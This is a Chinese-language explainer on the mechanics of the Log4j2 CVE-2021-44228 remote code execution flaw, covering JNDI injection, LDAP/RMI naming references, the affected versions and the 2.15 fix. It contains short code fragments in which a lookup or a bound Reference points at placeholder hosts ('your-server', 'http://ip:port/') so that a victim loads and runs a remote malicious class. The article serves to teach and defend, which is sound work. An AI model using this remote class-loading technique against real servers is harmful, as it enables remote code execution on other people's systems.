Log4j2 远程代码执行漏洞（cve-2021-44228）原理剖析

要了解本次Log4j2 rce的原理，首先我们得知道什么是JNDI，什么是JNDI注入，什么是RMI，什么又是LDAP…

本文中只讲原理，具体复现请转至：Log4j2 远程代码执行漏洞（cve-2021-44228）复现（反弹shell）

1、JNDI、RMI、LDAP、JNDI注入？

Java Name and Directory Interface：java命名和目录接口
是sun公司提供的一种标准的java命名系统接口，JNDI提供统一的客户端API，通过访问JNDI，根据命名服务或目录服务来获取相应的资源。

• 命名服务：一种简单的键值对绑定（k，v），可以通过键名检索值，RMI（远程方法调用）就是典型的命名服务。
• 目录服务：目录服务是命名服务的拓展，区别在于它可以通过对象的属性来检索对象，其实就是键比较复杂，比如找一个学生：年级->班级->姓名来查找，这些东西就是键，但是是层级关系，比较像目录。LDAP（轻量级目录访问协议）就是典型的目录服务。

说白了，其实JNDI只是对各种访问目录服务的逻辑进行了再封装，就是以前访问LDAP和RMI要写的代码差别很大，但是有了JNDI这一层（没有什么是加一层解决不了的，如果有就再加一层），就可以使用JNDI的方式来轻松访问RMI或LDAP服务，访问的代码基本是一样的（参考JDBC连接不同的数据库）

可以简单的将LDAP理解为一个存储目录，里面有我们要的资源，而JNDI就是获取资源的一种途径或者说方式。

如上图所示在访问RMI时只传了一个键foo过去，返回一个对象；在访问LDAP这种目录服务时，传过去的比较复杂，包含多个键值对，这些键值对就是对象的属性，LDAP根据这些属性来判断返回哪个对象。

基本操作：

1. 发布服务：bind() 将名称绑定到对象中
2. 用名字查找资源：lookup() 通过名字检索执行的对象

JNDI注入：

动态协议转换：JNDI提前有配置初始化环境，设置了属性，但是当lookup()里传进来的参数协议与初始化的Context里配置的协议不一致时，就会动态的进行转换来查找传进去的参数，并且不会报错，所以当参数可控时，攻击者可以通过提供一个恶意的url地址来控制受害者加载攻击者指定的恶意类。

ctx.lookup("rmi://your-server/refObj");// 初始化的
//ctx.lookup("ldap://your-server/cn=bar,dc=test,dc=org");//实际上传进来的

命名引用：Java为了将Object对象存储在Naming（命名）或Directory（目录）服务下，提供了Naming Reference（命名引用）功能，对象可以通过绑定Reference类存储在Naming或Directory服务下，比如RMI、LDAP等。

也就是说存储的V中可以是一个超链接，我们根据K去查找V，找到之后发现是引用就会去引用的地址继续找然后返回相应的资源。

总结：

1. 在LDAP中可以存储外部的资源，叫做命名引用，对应Reference类。比如远程HTTP服务的一个.class文件
2. 如果JNDI客户端基于LDAP服务，找不到相应的资源，就会去LDAP中默认指定的地址请求（初始化配置的），如果是命名引用，会将这个文件下载到本地。
3. 如果下载的.class文件包含无参构造函数或静态代码块，加载的时候会自动执行。因为下载之后会进行自动实例化。

在使用Reference时，我们可以直接将对象传入构造方法中，当被调用时，对象的方法就会被触发，创建Reference实例时几个比较关键的属性：

• className：远程加载时所使用的类名；
• classFactory：加载的class中需要实例化类的名称；
• classFactoryLocation：远程加载类的地址，提供class数据的地址可以是file/ftp/http等协议；

当然，要把一个对象绑定到rmi注册表中（前面提到对象可以通过绑定Reference类存储在Naming或Directory服务下），这个对象需要继UnicastRemoteObject，但是Reference没有继承它，所以我们还需要封装一下它，用 ReferenceWrapper 包裹一下Reference实例对象，这样就可以将其绑定到rmi注册表，并被远程访问到了，demo如下：

Reference refObj = new Reference("refClassName","insClassName","http://ip:port/");
//第一个参数是远程加载时使用的类名，第二个参数是加载的class中需要实例化类的名称，第三个参数是远程class文件存放的地址

ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj );//进行包装继承

registry.bind("refObj ",refObjWrapper );//发布服务，将键与值绑定起来

当有客户端通过lookup(“refObj”)获取远程对象时，获取的是一个Reference存根（Stub)，由于是Reference的存根，所以客户端会先在本地的classpath中去检查是否存在类refClassName，如果不存在则去指定的url（http://ip:port/refClassName.class）动态加载，并且调用insClassName的无参构造函数，所以可以在构造函数里写恶意代码。当然除了在无参构造函数中写利用代码，还可以利用java的static代码块来写恶意代码，因为static代码块的代码在class文件被加载过后就会立即执行，且只执行一次。

听起来有点绕，其实这个上面也提到过（总结2、3）

JNDI注入流程：

2、Log4j2 rce原理

首先log4j打印日志有四个级别：debug、info、warn、error，不管哪个方法打印日志，在正常的log处理过程中，对${这两个紧邻的字符做了检测，一旦遇到类似表达式结构的字符串就会触发替换机制。
一旦在log字符串中检测到${}，就会解析其中的字符串尝试使用lookup查询，因此只要能控制log参数内容，就有机会实现漏洞利用。

所以最终还是会去调用JNDI的lookup方法，所以知道JNDI的注入原理就很好理解这次漏洞形成的原因了

Log4j2 rce原理：

3、影响版本

1、使用了log4j的组件，并且版本在2.x <= 2.14.1
2、jdk版本小于8u191、7u201、6u211

jdk版本影响：

1. JDK 6u45、7u21之后：java.rmi.server.useCodebaseOnly的默认设置为true。当该值为true时，将禁用自动加载远程类文件，仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端从其他Codebase地址上动态加载类，增加了RMI ClassLoader的安全性。
2. JDK 6u141、7u131、8u121之后：增加了com.sun.jndi.rmi.object.trustUrlCodebase选项，默认为false，禁止RMI和CORBA协议使用远程codebase的选项，因此RMI和CORBA在以上的JDK版本中已经无法触发该漏洞，但依然可以通过指定URI为LDAP协议来进行JNDI攻击。
3. JDK 6u211、7u201、8u191之后：增加了com.sun.jndi.ldap.object.trustUrlCodebase选项，默认为false，禁止LDAP协议使用远程codebase的选项，把LDAP协议的攻击途径也给禁了。

4、修复思路

1、禁止用户请求参数中出现攻击关键字
2、禁止lookup下载远程文件（命名引用）
3、禁止log4j的应用连接外网
4、禁止log4j使用lookup

2.15版本修复方法：
修复后log4j2在jndi lookup中增加了很多限制：

1. 默认不再支持二次跳转（命名引用）的方式获取对象
2. 只有在log4j2.allowedLdapClasses列表中指定的class才能获取
3. 只有远程地址是本地或者在log4j2.allowedLdapHosts列表中指定的地址才能获取